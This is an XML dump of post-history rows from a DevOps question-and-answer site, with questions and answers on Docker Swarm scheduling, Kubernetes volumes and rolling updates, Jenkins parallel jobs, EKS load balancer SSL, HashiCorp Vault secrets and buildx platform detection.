  <row Id="41353" PostHistoryTypeId="2" PostId="13436" RevisionGUID="67ccac58-6689-45cf-900e-631c44231cd0" CreationDate="2021-02-25T17:08:05.250" UserId="6618" Text="AFAIK, Swarm does zero real-time resource monitoring. It's only as smart as reservations and limits that you set on the Service beforehand. &#xD;&#xA;&#xD;&#xA;It simply counts the number of tasks per node and finds the one with the least task count. If that node doesn't have the room (based only on resource limits you set), it'll look to the next lower task count.&#xD;&#xA;&#xD;&#xA;This is also why Swarm alone can't do auto-scaling because it has no way to track metrics.&#xD;&#xA;&#xD;&#xA;It does know total CPU and memory, so it knows how to track &quot;full&quot; once you've set resource reservations." ContentLicense="CC BY-SA 4.0" />
  <row Id="41354" PostHistoryTypeId="5" PostId="13436" RevisionGUID="ade96dc5-d372-4a31-93e7-c0ea2571e070" CreationDate="2021-02-25T17:15:02.823" UserId="6618" Comment="updated with more info" Text="AFAIK, Swarm does zero real-time resource monitoring. It's only as smart as reservations and limits that you set on the Service beforehand. &#xD;&#xA;&#xD;&#xA;First, it takes into account if the tasks of that Service are spread out. It will try not to schedule multiple tasks on the same node, and may ignore total task count per node to do so.&#xD;&#xA;&#xD;&#xA;Then, it counts the number of tasks per node and finds the one with the least task count. &#xD;&#xA;&#xD;&#xA;All these is restricted by resource reservations. If that node doesn't have the room (based only on the reservations you set), it'll look to the next lower task count.&#xD;&#xA;&#xD;&#xA;This is also why Swarm alone can't do built-in auto-scaling because it has no way to track metrics over time.&#xD;&#xA;&#xD;&#xA;It does know total CPU and memory, so it knows how to track &quot;full&quot; once you've set resource reservations.&#xD;&#xA;&#xD;&#xA;More info: https://github.com/docker/swarmkit/blob/master/design/scheduler.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="41355" PostHistoryTypeId="2" PostId="13437" RevisionGUID="b00e9ab7-f476-49ea-a0ab-67aed64e38bc" CreationDate="2021-02-25T18:05:49.023" UserId="20255" Text="I was wondering how I could dynamically **create and then mount new volumes from inside a pod ?** **At runtime !**&#xD;&#xA;&#xD;&#xA;I have to download a lot of files with very different sizes and would like the storage to adapt to my needs... &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;**Use case example :**  &#xD;&#xA;*There is a decompression step. But I don't know how much will be decompressed before its completed.*  &#xD;&#xA;If I could allocate some more memory at runtime It would not end with a DiskFull error...  &#xD;&#xA;&#xD;&#xA;I can mount an initial volume at pod startup, then either I find a way to update this volume size or at least mount a new one in the same pod !&#xD;&#xA;&#xD;&#xA;Any ideas are welcome  &#xD;&#xA;Thx" ContentLicense="CC BY-SA 4.0" />
  <row Id="41356" PostHistoryTypeId="1" PostId="13437" RevisionGUID="b00e9ab7-f476-49ea-a0ab-67aed64e38bc" CreationDate="2021-02-25T18:05:49.023" UserId="20255" Text="Update volume size dynamically from inside a POD" ContentLicense="CC BY-SA 4.0" />
  <row Id="41357" PostHistoryTypeId="3" PostId="13437" RevisionGUID="b00e9ab7-f476-49ea-a0ab-67aed64e38bc" CreationDate="2021-02-25T18:05:49.023" UserId="20255" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;volume&gt;&lt;kubernetes-volume&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41358" PostHistoryTypeId="2" PostId="13438" RevisionGUID="3dfe6418-fc0f-4019-84c8-e1763be87d5d" CreationDate="2021-02-25T18:07:53.203" UserId="26295" Text="I have a jenkins job **A** and i have 5 tests (each triggering job **A** with updation of different jenkinsfile script path as Before Each test) executing in **parallel** &#xD;&#xA;&#xD;&#xA;Test1 with pipeline-jenkinfile-1&#xD;&#xA;Test2 with pipeline-jenkinfile-2&#xD;&#xA;Test3 with pipeline-jenkinfile-3&#xD;&#xA;Test4 with pipeline-jenkinfile-4&#xD;&#xA;Test5 with pipeline-jenkinfile-5&#xD;&#xA;&#xD;&#xA;When i start the tests in parallel, i can see 5 instance of same job getting triggered but **each test is updated with incorrect jenkinsfile.**&#xD;&#xA;&#xD;&#xA;Test**1** with pipeline-**jenkinfile-4**&#xD;&#xA;Test**2** with pipeline-**jenkinfile-3**&#xD;&#xA;Test3 with pipeline-jenkinfile-1&#xD;&#xA;Test4 with pipeline-jenkinfile-5&#xD;&#xA;Test5 with pipeline-jenkinfile-2&#xD;&#xA;&#xD;&#xA;Running on same node - NODE A&#xD;&#xA;&#xD;&#xA;Test 1 Before step -&gt; Updating the jenkins job pipeline jenkinsFile script path using API (***curl -X POST http://developer:developer@localhost:8080/job/test/config.xml --data-binary &quot;@mymodifiedlocalconfig.xml&quot;***)&#xD;&#xA;&#xD;&#xA;And i trigger the job with buildwithParameters using rest api  (***curl -X POST http://USER:API_TOKEN@localhost:8080/job/test/build --data-urlencode json='{&quot;parameter&quot;: [{&quot;name&quot;:&quot;paramA&quot;, &quot;value&quot;:&quot;123&quot;}]}'***)&#xD;&#xA;&#xD;&#xA;How to fix this such a way in parallel execution test update with correct jenkinsfile." ContentLicense="CC BY-SA 4.0" />
  <row Id="41359" PostHistoryTypeId="1" PostId="13438" RevisionGUID="3dfe6418-fc0f-4019-84c8-e1763be87d5d" CreationDate="2021-02-25T18:07:53.203" UserId="26295" Text="Parallel execution of same job with different configuration- pipeline jenkinsfile script path is updated incorrect" ContentLicense="CC BY-SA 4.0" />
  <row Id="41360" PostHistoryTypeId="3" PostId="13438" RevisionGUID="3dfe6418-fc0f-4019-84c8-e1763be87d5d" CreationDate="2021-02-25T18:07:53.203" UserId="26295" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41361" PostHistoryTypeId="2" PostId="13439" RevisionGUID="f958257f-40a0-42a2-accd-b3484d2c2865" CreationDate="2021-02-26T02:59:27.993" UserId="1112" Text="In my opinion, you could create bucket (aws s3 for example) and store your data there (create simple app to make upload), thus, you don’t need to care with disk full error" ContentLicense="CC BY-SA 4.0" />
  <row Id="41362" PostHistoryTypeId="2" PostId="13440" RevisionGUID="6eb4720b-2019-476e-832c-af657d4224df" CreationDate="2021-02-26T04:38:55.247" UserId="26300" Text="I want to use docker to compile a custom PHP executable. &#xA;&#xA;I plan to use alpine as a base image, installing the required tools (build-essentials, etc). &#xA;&#xA;The goal is to have the most minimalist resulting image for later use in child images.&#xA;&#xA;Would it make sense to tar the resulting php binary and publish to a host, and later have the child layers just pull in the php binary?&#xA;&#xA;Or does it make sense to keep the original image? What happens to all the build tools and libraries? Do they become part of the image? " ContentLicense="CC BY-SA 4.0" />
  <row Id="41363" PostHistoryTypeId="1" PostId="13440" RevisionGUID="6eb4720b-2019-476e-832c-af657d4224df" CreationDate="2021-02-26T04:38:55.247" UserId="26300" Text="Docker image, containers and layers" ContentLicense="CC BY-SA 4.0" />
  <row Id="41364" PostHistoryTypeId="3" PostId="13440" RevisionGUID="6eb4720b-2019-476e-832c-af657d4224df" CreationDate="2021-02-26T04:38:55.247" UserId="26300" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41366" PostHistoryTypeId="2" PostId="13441" RevisionGUID="f6632a5f-2de1-4de2-99f1-e165cb18f8f1" CreationDate="2021-02-26T12:31:11.973" UserId="1112" Text="I've a stranger situation using EKS, follows my environment:&#xD;&#xA;&#xD;&#xA;EKS - kubernetes version v1.18.9-eks-d1db3c&#xD;&#xA;Ingress - Traefik:v2.3, and we have 2 load balancers&#xD;&#xA;- internal - load balancer&#xD;&#xA;- external - load balancer&#xD;&#xA;&#xD;&#xA;Both internal and external load balancer are configured with SSL, but in external load balancer sometimes is losing SSL configuration, and i've go there and attach again manually, i'm try to reach the root cause.&#xD;&#xA;&#xD;&#xA;This error is intermittent, it happens at least once a month and we are bother about it&#xD;&#xA;&#xD;&#xA;In CloudTrail service i've found the error code InvalidConfigurationRequestException, follows the event when the problem happens, the output is here:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;eventVersion&quot;: &quot;1.08&quot;,&#xD;&#xA;    &quot;userIdentity&quot;: {&#xD;&#xA;        &quot;type&quot;: &quot;AssumedRole&quot;,&#xD;&#xA;        &quot;principalId&quot;: &quot;XXXXXXXXXXXXXXXXX&quot;,&#xD;&#xA;        &quot;arn&quot;: &quot;arn:aws:sts::XXXXXXXXXXX:assumed-role/homolog-eks/1613546755047123266&quot;,&#xD;&#xA;        &quot;accountId&quot;: &quot;XXXXXXXXXXX&quot;,&#xD;&#xA;        &quot;accessKeyId&quot;: &quot;ASIA5MJJJI36YRUQLVRX&quot;,&#xD;&#xA;        &quot;sessionContext&quot;: {&#xD;&#xA;            &quot;sessionIssuer&quot;: {&#xD;&#xA;                &quot;type&quot;: &quot;Role&quot;,&#xD;&#xA;                &quot;principalId&quot;: &quot;AROAICYIAFD3HEVDXEZZI&quot;,&#xD;&#xA;                &quot;arn&quot;: &quot;arn:aws:iam::XXXXXXXXXXX:role/homolog-eks&quot;,&#xD;&#xA;                &quot;accountId&quot;: &quot;XXXXXXXXXXX&quot;,&#xD;&#xA;                &quot;userName&quot;: &quot;homolog-eks&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;webIdFederationData&quot;: {},&#xD;&#xA;            &quot;attributes&quot;: {&#xD;&#xA;                &quot;mfaAuthenticated&quot;: &quot;false&quot;,&#xD;&#xA;                &quot;creationDate&quot;: &quot;2021-02-17T11:41:36Z&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;        &quot;invokedBy&quot;: &quot;eks.amazonaws.com&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;eventTime&quot;: &quot;2021-02-17T11:46:37Z&quot;,&#xD;&#xA;    &quot;eventSource&quot;: &quot;elasticloadbalancing.amazonaws.com&quot;,&#xD;&#xA;    &quot;eventName&quot;: &quot;DetachLoadBalancerFromSubnets&quot;,&#xD;&#xA;    &quot;awsRegion&quot;: &quot;us-east-1&quot;,&#xD;&#xA;    &quot;sourceIPAddress&quot;: &quot;eks.amazonaws.com&quot;,&#xD;&#xA;    &quot;userAgent&quot;: &quot;eks.amazonaws.com&quot;,&#xD;&#xA;    &quot;errorCode&quot;: &quot;InvalidConfigurationRequestException&quot;,&#xD;&#xA;    &quot;errorMessage&quot;: &quot;Requested configuration change for LoadBalancer \&quot;a6f763f13f68c11e8801c12b371cef55\&quot; is invalid because you attempted to detach all the subnets for this LoadBalancer and a LoadBalancer cannot be attached to zero subnets in VPC.&quot;,&#xD;&#xA;    &quot;requestParameters&quot;: {&#xD;&#xA;        &quot;subnets&quot;: [&#xD;&#xA;            &quot;subnet-00f5def356ae18cf9&quot;,&#xD;&#xA;            &quot;subnet-0533cea127b579ab6&quot;&#xD;&#xA;        ],&#xD;&#xA;        &quot;loadBalancerName&quot;: &quot;a6f763f13f68c11e8801c12b371cef55&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;responseElements&quot;: null,&#xD;&#xA;    &quot;requestID&quot;: &quot;c3a76b67-4512-4603-a321-03ff0ae6042f&quot;,&#xD;&#xA;    &quot;eventID&quot;: &quot;cf23d8ae-c4d1-4621-a0ee-b565df524918&quot;,&#xD;&#xA;    &quot;readOnly&quot;: false,&#xD;&#xA;    &quot;eventType&quot;: &quot;AwsApiCall&quot;,&#xD;&#xA;    &quot;apiVersion&quot;: &quot;2012-06-01&quot;,&#xD;&#xA;    &quot;managementEvent&quot;: true,&#xD;&#xA;    &quot;eventCategory&quot;: &quot;Management&quot;,&#xD;&#xA;    &quot;recipientAccountId&quot;: &quot;XXXXXXXXXXX&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Tag Amazon VPC Subnets for EKS is configured: https://aws.amazon.com/premiumsupport/knowledge-center/eks-vpc-subnet-discovery&#xD;&#xA;&#xD;&#xA;Please, let me know if you have advice to give me&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41367" PostHistoryTypeId="1" PostId="13441" RevisionGUID="f6632a5f-2de1-4de2-99f1-e165cb18f8f1" CreationDate="2021-02-26T12:31:11.973" UserId="1112" Text="Missing SSL settings on LoadBalancer using EKS" ContentLicense="CC BY-SA 4.0" />
  <row Id="41368" PostHistoryTypeId="3" PostId="13441" RevisionGUID="f6632a5f-2de1-4de2-99f1-e165cb18f8f1" CreationDate="2021-02-26T12:31:11.973" UserId="1112" Text="&lt;ssl&gt;&lt;ingress&gt;&lt;eks&gt;&lt;aws-elb&gt;&lt;traefik&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41369" PostHistoryTypeId="2" PostId="13442" RevisionGUID="b707adba-1934-45e8-ba80-4142c182bff2" CreationDate="2021-02-26T14:33:54.990" UserId="13082" Text="Is there a way in Azure to trigger an email send when for some reason the docker container changes? The containers are running in App Service Environments. When I have Jenkins change the container, this is no issue. However, there are times when a person manually changes the container and then no email is sent. Our QA staff are then never informed. Thanks!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41370" PostHistoryTypeId="1" PostId="13442" RevisionGUID="b707adba-1934-45e8-ba80-4142c182bff2" CreationDate="2021-02-26T14:33:54.990" UserId="13082" Text="How to trigger email when container changes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41371" PostHistoryTypeId="3" PostId="13442" RevisionGUID="b707adba-1934-45e8-ba80-4142c182bff2" CreationDate="2021-02-26T14:33:54.990" UserId="13082" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41372" PostHistoryTypeId="2" PostId="13443" RevisionGUID="bdf96c6f-5522-4d68-9585-d24c3750f6b3" CreationDate="2021-02-26T19:10:18.270" UserId="2901" Text="I am currently running a Java trading system on a VM that needs ~32 GB RAM and runs (almost) 24/7.&#xD;&#xA;There are a couple of engines linked to it that require 4GB + 8BG respectively.&#xD;&#xA;&#xD;&#xA;I am considering moving from VMs to containers.&#xD;&#xA;&#xD;&#xA;Most of the articles I read talk about running web apps and the benefit of a container starting up fast but they don't talk about heavyweight applications.&#xD;&#xA;&#xD;&#xA;For this question I would like to know whether the RAM requirements of the processes running within them are a consideration when comparing VMs to Containers, or is there no difference between the two?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41373" PostHistoryTypeId="1" PostId="13443" RevisionGUID="bdf96c6f-5522-4d68-9585-d24c3750f6b3" CreationDate="2021-02-26T19:10:18.270" UserId="2901" Text="Does RAM Come Into The Container vs VM Decision?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41374" PostHistoryTypeId="3" PostId="13443" RevisionGUID="bdf96c6f-5522-4d68-9585-d24c3750f6b3" CreationDate="2021-02-26T19:10:18.270" UserId="2901" Text="&lt;docker&gt;&lt;containers&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41375" PostHistoryTypeId="2" PostId="13444" RevisionGUID="72e720fc-f73d-44ff-a812-347ca20c2a62" CreationDate="2021-02-26T21:10:03.373" UserId="6162" Text="&gt;the benefit of a container starting up fast but they don't talk about heavyweight applications.&#xD;&#xA;&#xD;&#xA;yes and no. The container only contains the app and runtime (e.g. JVM), but the app and runtime starts up with the same speed as when running on a VM. But a VM usually takes longer time to create and start since you also have to boot the operating system. So it depends on how you compare.&#xD;&#xA;&#xD;&#xA;Running an app in a container does not do your app startup faster.&#xD;&#xA;&#xD;&#xA;&gt;For this question I would like to know whether the RAM requirements of the processes running within them are a consideration when comparing VMs to Containers, or is there no difference between the two?&#xD;&#xA;&#xD;&#xA;The app will use the same amount of resources when run as a container as on VM. But with containers it is easier to manage multiple instances - so you could consider that - this is usually done to achieve better availability and zero downtime deployments - however your app need to be stateless if you consider scaling out to multiple instances." ContentLicense="CC BY-SA 4.0" />
  <row Id="41381" PostHistoryTypeId="5" PostId="13416" RevisionGUID="5609d9ec-6978-4c22-91a0-87cfc4596c7c" CreationDate="2021-02-27T00:05:20.870" UserId="26253" Comment="added 495 characters in body" Text="I've inherited an app with K8s services with the following config&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;spec:&#xD;&#xA;  ...&#xD;&#xA;  replicas: 1&#xD;&#xA;  strategy:&#xD;&#xA;    rollingUpdate:&#xD;&#xA;      maxSurge: 1&#xD;&#xA;      maxUnavailable: 1&#xD;&#xA;    type: RollingUpdate&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For most of these light-weight services, we run a single instance of a pod on GCP.  We're expanding into blue-green deploys for some services, but the majority are still run this way.  &#xD;&#xA;&#xD;&#xA;When we update the GCR image to a new version, the service becomes temporarily unavailable (maybe 10-30 seconds).  I'm assuming this is because K8s is killing the old pod while it brings up the new pod.  Is there anyway to configure K8s to actually bring up a new pod, direct new traffic to it, and only then shutdown the old pod?  This would seemingly allow for a deployment with no downtime, and not rely on having two pods running all the time (saving cost).  All docs I can find typically start with N pods so they don't have this issue...&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;## UPDATE&#xD;&#xA;&#xD;&#xA;So the issue is not related to maxsurge (changing it had no effect).  Actually I realized what's happening is that the pod is getting traffic routed to it before the app is actually completely ready.  These are spring apps, so they take like 30 seconds to start, and the service disruption we're seeing is occurring in the 30s window while the app is booting and the pod has already sent traffic to it.  So I guess what I really am after is as follows&#xD;&#xA;&#xD;&#xA;**how can k8s be configured to bring up a second pod, wait until it passes startup probe/healthcheck, and only then have the first pod route traffic to it and self-terminate?**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41382" PostHistoryTypeId="5" PostId="13417" RevisionGUID="580d2c22-e667-4f72-af9a-b1c11aa75a5e" CreationDate="2021-02-27T06:39:00.120" UserId="6162" Comment="added 335 characters in body" Text="&gt;Is there anyway to configure K8s to actually bring up a new pod, direct new traffic to it, and only then shutdown the old pod?&#xD;&#xA;&#xD;&#xA;This is the default behavior. [MaxSurge][1] is number of _additional_ pods that runs during upgrade.&#xD;&#xA;&#xD;&#xA;What you also have to check is how the load balancer is handling traffic, does it have capability to detect that you have deployed a new Pod, e.g. is it Kubernetes aware? See [Container native load balancing on Google Cloud][2], it looks like you should have a `ReadinessProbe` on your `Deployment`.&#xD;&#xA;&#xD;&#xA;&gt;Actually I realized what's happening is that the pod is getting traffic routed to it before the app is actually completely ready.&#xD;&#xA;&#xD;&#xA;This is the default behavior, if you define a [ReadinessProbe][3] for your `Deployment`. As you write, you can also add a `StartupProbe` but the `ReadinessProbe` is most important.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#max-surge&#xD;&#xA;  [2]: https://cloud.google.com/kubernetes-engine/docs/how-to/container-native-load-balancing&#xD;&#xA;  [3]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41383" PostHistoryTypeId="2" PostId="13445" RevisionGUID="76f967da-d84a-4f12-95ce-45fc14e8fa36" CreationDate="2021-02-27T12:35:39.413" UserId="26309" Text="I have Node JS app inside pods, which need to read vault secrets.&#xD;&#xA;So far I found 2 methods for doing that&#xD;&#xA;&#xD;&#xA;1. Using init container to mount secrets as .txt files and read/parse them in my app&#xD;&#xA;2. Using node-vault connect to vault server directly and read secrets, which requires initial token&#xD;&#xA;&#xD;&#xA;For (1) I found [this][1] article, where the author is considering it as not secure and complex.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt; Secrets mounted as volumes are unwieldy—secrets can be stored as&#xD;&#xA;&gt; environment variables or mounted as a volume. The former technique is&#xD;&#xA;&gt; widely agreed to be less secure. If you opt for volumes, things&#xD;&#xA;&gt; quickly get complex when you have a large number of keys. Kubernetes&#xD;&#xA;&gt; creates one file per key, and you need to read all these files from&#xD;&#xA;&gt; within the application. There are workarounds, but they can be equally&#xD;&#xA;&gt; complex.&#xD;&#xA;&#xD;&#xA;For the (2) I am not sure how to automatically unseal and obtain initial tokens without using Amazon secrets or other services. Of course I can't hard code initial token or `roll_id/secret_id`. What is the typical way of obtaining and passing initial token to the pods?&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.aquasec.com/managing-kubernetes-secrets" ContentLicense="CC BY-SA 4.0" />
  <row Id="41384" PostHistoryTypeId="1" PostId="13445" RevisionGUID="76f967da-d84a-4f12-95ce-45fc14e8fa36" CreationDate="2021-02-27T12:35:39.413" UserId="26309" Text="How to use Hashicorp Vault with NodeJS application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41385" PostHistoryTypeId="3" PostId="13445" RevisionGUID="76f967da-d84a-4f12-95ce-45fc14e8fa36" CreationDate="2021-02-27T12:35:39.413" UserId="26309" Text="&lt;kubernetes&gt;&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41386" PostHistoryTypeId="5" PostId="13445" RevisionGUID="771cdbed-9f3b-476e-b868-6937425245bf" CreationDate="2021-02-27T17:53:15.800" UserId="26309" Comment="added 1 character in body" Text="I have Node JS app inside pods, which needs to read vault secrets.&#xD;&#xA;So far I found 2 methods for doing that&#xD;&#xA;&#xD;&#xA;1. Using init container to mount secrets as .txt files and read/parse them in my app&#xD;&#xA;2. Using node-vault connect to vault server directly and read secrets, which requires initial token&#xD;&#xA;&#xD;&#xA;For (1) I found [this][1] article, where the author is considering it as not secure and complex.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt; Secrets mounted as volumes are unwieldy—secrets can be stored as&#xD;&#xA;&gt; environment variables or mounted as a volume. The former technique is&#xD;&#xA;&gt; widely agreed to be less secure. If you opt for volumes, things&#xD;&#xA;&gt; quickly get complex when you have a large number of keys. Kubernetes&#xD;&#xA;&gt; creates one file per key, and you need to read all these files from&#xD;&#xA;&gt; within the application. There are workarounds, but they can be equally&#xD;&#xA;&gt; complex.&#xD;&#xA;&#xD;&#xA;For the (2) I am not sure how to automatically unseal and obtain initial tokens without using Amazon secrets or other services. Of course I can't hard code initial token or `roll_id/secret_id`. What is the typical way of obtaining and passing initial token to the pods?&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.aquasec.com/managing-kubernetes-secrets" ContentLicense="CC BY-SA 4.0" />
  <row Id="41387" PostHistoryTypeId="2" PostId="13446" RevisionGUID="eb47f251-7351-4968-baa3-9686ab133f6b" CreationDate="2021-02-27T19:10:42.180" UserId="26325" Text="I'm doing multi-platform builds with buildx and would like to know if there is a way to determine what platform is currently being build so I can avoid certain steps for certain environments.&#xD;&#xA;&#xD;&#xA;For example, something like...&#xD;&#xA;&#xD;&#xA;```dockerfile&#xD;&#xA;# No DOSEMU outside amd64&#xD;&#xA;RUN if [ &quot;$DOCKER_PLATFORM&quot; = &quot;amd64&quot; ]; then \&#xD;&#xA;      apt install dosemu \&#xD;&#xA;    fi&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41388" PostHistoryTypeId="1" PostId="13446" RevisionGUID="eb47f251-7351-4968-baa3-9686ab133f6b" CreationDate="2021-02-27T19:10:42.180" UserId="26325" Text="How can I get the Docker target platform inside the Build Environment / Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="41389" PostHistoryTypeId="3" PostId="13446" RevisionGUID="eb47f251-7351-4968-baa3-9686ab133f6b" CreationDate="2021-02-27T19:10:42.180" UserId="26325" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41394" PostHistoryTypeId="2" PostId="13448" RevisionGUID="b3138e0e-a94c-4286-9bd1-215c3aa6368d" CreationDate="2021-02-28T02:24:51.680" UserId="26277" Text="This turned out to be a problem with **`pip`** determining the correct dependency: for some reason it thought that the pandas requirement was for numpy&gt;=1.15&#xD;&#xA;&#xD;&#xA;The error message &#xD;&#xA;```&#xD;&#xA;ERROR: pandas 1.2.0 has requirement numpy&gt;=1.16.5 ...&#xD;&#xA;```&#xD;&#xA;was coming from pandas itself (upon `import`).&#xD;&#xA;&#xD;&#xA;The fix is to upgrade to a **newer version of `pip`** (inside the script running on travisCI).  The newer version of pip is able to corrently detect that pandas needs a newer version of numpy.  &#xD;&#xA;&#xD;&#xA;Just put **`pip install --upgrade pip`** near the top of the script.&#xD;&#xA;&#xD;&#xA;Not sure why TravisCI doesn't just use the latest `pip` by default.&#xD;&#xA;&#xD;&#xA;Reference: https://travis-ci.community/t/11214" ContentLicense="CC BY-SA 4.0" />
  <row Id="41395" PostHistoryTypeId="2" PostId="13449" RevisionGUID="60990546-b3e2-42b3-9dd4-a68deaf29ddc" CreationDate="2021-02-28T05:01:02.023" UserId="26329" Text="Im about to deploy an aplication that can be resumed into a dashboard with some constrols systems and an api, all together.&#xD;&#xA;&#xD;&#xA;The system was developent to be an web extention for some scripts and bots for a community around 17k users, so consider that a half of that will at least see how the dashboard works and that each effective client (maybe 1/10 of that along the time) will request my api via external scripts around 10 requests per minute.&#xD;&#xA;&#xD;&#xA;back-end was made with laravel(8.2) and front-end with vuejs(2), with inertiajs as handler, and normal MariaDB.&#xD;&#xA;&#xD;&#xA;*The system needs to be reworked for kubernets or simple loadbalancer, so at least the first month need to be a single server.*&#xD;&#xA;&#xD;&#xA;**What is the best setup for this scenario? Considering the rework, what is the best option aiming an good application growth? What name can be used to this act of predict what and how much need to be used?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41396" PostHistoryTypeId="1" PostId="13449" RevisionGUID="60990546-b3e2-42b3-9dd4-a68deaf29ddc" CreationDate="2021-02-28T05:01:02.023" UserId="26329" Text="What is the best host solution for a medium starter aplication nowadays?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41397" PostHistoryTypeId="3" PostId="13449" RevisionGUID="60990546-b3e2-42b3-9dd4-a68deaf29ddc" CreationDate="2021-02-28T05:01:02.023" UserId="26329" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;servers&gt;&lt;api&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41398" PostHistoryTypeId="5" PostId="13449" RevisionGUID="72087290-00f3-4312-bec1-bd471688991b" CreationDate="2021-02-28T06:32:39.410" UserId="354" Comment="clean up grammar." Text="I'm am deploying an application that can be split into a dashboard with some control systems and an API.&#xD;&#xA;&#xD;&#xA;The system was developed to be an web interface for some scripts and bots used by a community of around 17k users, so consider that a half of that will at least see how the dashboard works and that each effective client (maybe 1/10 of that along the time) will request my API via external scripts around 10 requests per minute.&#xD;&#xA;&#xD;&#xA;The back-end was made with Laravel (8.2) and front-end with vuejs(2), with inertiajs as handler, and normal MariaDB.&#xD;&#xA;&#xD;&#xA;*The system needs to be reworked for kubernetes or simple load balancer, so at least the first month need to be a single server.*&#xD;&#xA;&#xD;&#xA;**What is the best setup for this scenario? Considering the rework, what is the best option aiming an good application growth? What do I call the process of prediction of what resources and how much of each needs to be used?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41399" PostHistoryTypeId="2" PostId="13450" RevisionGUID="30689a5b-ffd9-4bd9-9f1b-7cc4ea94d634" CreationDate="2021-02-28T06:52:59.090" UserId="354" Text="This is typically done with a script, not the Dockerfile. The script (perhaps in bash or python) can run at build time to determine what environment it is in, and act accordingly. This can be included in the `RUN` command, but it risks becoming quite complex and difficult to read in the Dockerfile. Furthermore, each additional `RUN` or `CMD` entry in the Dockerfile adds a layer to the image, which is [considered bad practice](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#minimize-the-number-of-layers).&#xD;&#xA;&#xD;&#xA;This script can instead take the arguments `BUILDPLATFORM` and `TARGETPLATFORM` as suggested in [the buildx docs](https://docs.docker.com/buildx/working-with-buildx/#build-multi-platform-images), which would make more declarative. Instead of discovering the target, you would declare it (and write your script accordingly), so that the user understands exactly what happens without having to look inside the build.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41400" PostHistoryTypeId="2" PostId="13451" RevisionGUID="23ca7f35-d9b9-4ce5-b3cb-c78c89b970a8" CreationDate="2021-02-28T13:15:16.127" UserId="3599" Text="Docs seem to point to https://docs.gitlab.com/ee/user/project/clusters/index.html#base-domain&#xD;&#xA;&#xD;&#xA;However it doesn't seem to specify how to set the base domain strangely enough.&#xD;&#xA;&#xD;&#xA;Can't seem to find info no this via a web search, I've also looked at https://docs.gitlab.com/omnibus/settings/configuration.html with no luck." ContentLicense="CC BY-SA 4.0" />
  <row Id="41401" PostHistoryTypeId="1" PostId="13451" RevisionGUID="23ca7f35-d9b9-4ce5-b3cb-c78c89b970a8" CreationDate="2021-02-28T13:15:16.127" UserId="3599" Text="How do I set a base domain for gitlab's auto devops?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41402" PostHistoryTypeId="3" PostId="13451" RevisionGUID="23ca7f35-d9b9-4ce5-b3cb-c78c89b970a8" CreationDate="2021-02-28T13:15:16.127" UserId="3599" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41407" PostHistoryTypeId="50" PostId="12569" RevisionGUID="70ec295d-7d20-4d19-8fac-2ae1cfd090ee" CreationDate="2021-02-28T20:06:00.607" UserId="-1" />
